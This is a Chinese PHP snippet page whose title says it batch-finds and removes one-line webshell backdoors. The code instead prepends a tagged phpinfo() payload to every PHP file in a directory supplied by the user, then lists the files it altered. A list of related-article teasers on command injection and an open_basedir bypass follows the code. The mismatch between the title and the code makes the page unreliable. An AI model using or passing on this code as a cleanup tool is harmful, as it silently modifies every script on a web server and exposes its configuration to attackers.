用php实现批量查询清除一句话后门的代码

yipeiwu_com6年前PHP代码库
总是忘记一句话放到哪个文件里去了,直接全部干掉...
复制代码 代码如下:

<?//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "<font color=\"#00688B\">".$dir."</font>"; 
} else { 
$dir=$_GET['dir']; 
echo "<font color=\"#00688B\">".$dir."</font>"; 

$evilcode="<?phpinfo();//xy7?>"; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 
<hr> 
<table width="100%" border="0" cellpadding="3" cellspacing="1"> 
<tr> 
<td><b>被X的文件</b></td> 
<td><b>时间</b></td> 
<td><b>大小</b></td> 
</tr> 
<?php 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "<tr>\n"; 
echo "<td>$file</td>\n"; 
echo " <td>$lastsave</td>\n"; 
echo " <td>$size Bytes</td>\n"; 



@closedir($dirs); 
?> 
</table> 
codz by xuanmumu 

相关文章

php获取用户浏览器版本的方法

本文实例讲述了php获取用户浏览器版本的方法。分享给大家供大家参考。具体分析如下: 在php中我们有个全局变量$_SERVER['HTTP_USER_AGENT'];可以获取用户所有信息...

详解php命令注入攻击

详解php命令注入攻击

这次实验内容为了解php命令注入攻击的过程,掌握思路。 命令注入攻击 命令注入攻击(Command Injection),是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的...

奇怪的PHP引用效率问题分析

函数如下: 复制代码 代码如下: function update_timelist(&$arr,$timestamp,$threshold){ $timequeue = &$arr['t...

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。 漏洞详情在这里 http...

浅析memcache启动以及telnet命令详解

1、启动Memcache 常用参数复制代码 代码如下:-p <num> 监听的TCP端口(默认: 11211)-U <num> UDP监听端口 (默认: 1121...